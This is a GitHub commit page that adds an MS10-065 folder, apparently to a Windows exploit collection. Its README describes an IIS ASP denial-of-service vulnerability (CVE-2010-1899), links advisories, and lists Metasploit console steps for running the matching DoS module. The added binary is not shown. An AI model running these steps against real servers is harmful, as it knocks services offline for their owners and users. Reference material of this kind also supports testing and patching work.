Skip to content

Commit 17be356

Browse files
committed
MS10-065
1 parent dd93000 commit 17be356

File tree

2 files changed

+25
-0
lines changed

2 files changed

+25
-0
lines changed
Binary file not shown.

MS10-065/README.md

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# MS10-065
2+
```
3+
Stack consumption vulnerability in the ASP implementation in Microsoft Internet Information Services
4+
(IIS) 5.1, 6.0, 7.0, and 7.5 allows remote attackers to cause a denial of service (daemon outage) via a crafted request,
5+
related to asp.dll, aka "IIS Repeated Parameter Request Denial of Service Vulnerability."
6+
```
7+
8+
Vulnerability reference:
9+
* [MS10-065](https://technet.microsoft.com/library/security/ms10-065)
10+
* [CVE-2010-1899](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-1899)
11+
* [exp-db](https://www.exploit-db.com/exploits/15167/)
12+
13+
14+
15+
## load the module within the Metasploit
16+
[msf](https://www.rapid7.com/db/modules/AUXILIARY/DOS/WINDOWS/HTTP/MS10_065_II6_ASP_DOS)
17+
```
18+
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
19+
msf auxiliary(ms10_065_ii6_asp_dos) > show actions
20+
...actions...
21+
msf auxiliary(ms10_065_ii6_asp_dos) > set ACTION <action-name>
22+
msf auxiliary(ms10_065_ii6_asp_dos) > show options
23+
...show and set options...
24+
msf auxiliary(ms10_065_ii6_asp_dos) > run
25+
```

0 commit comments

Comments
 (0)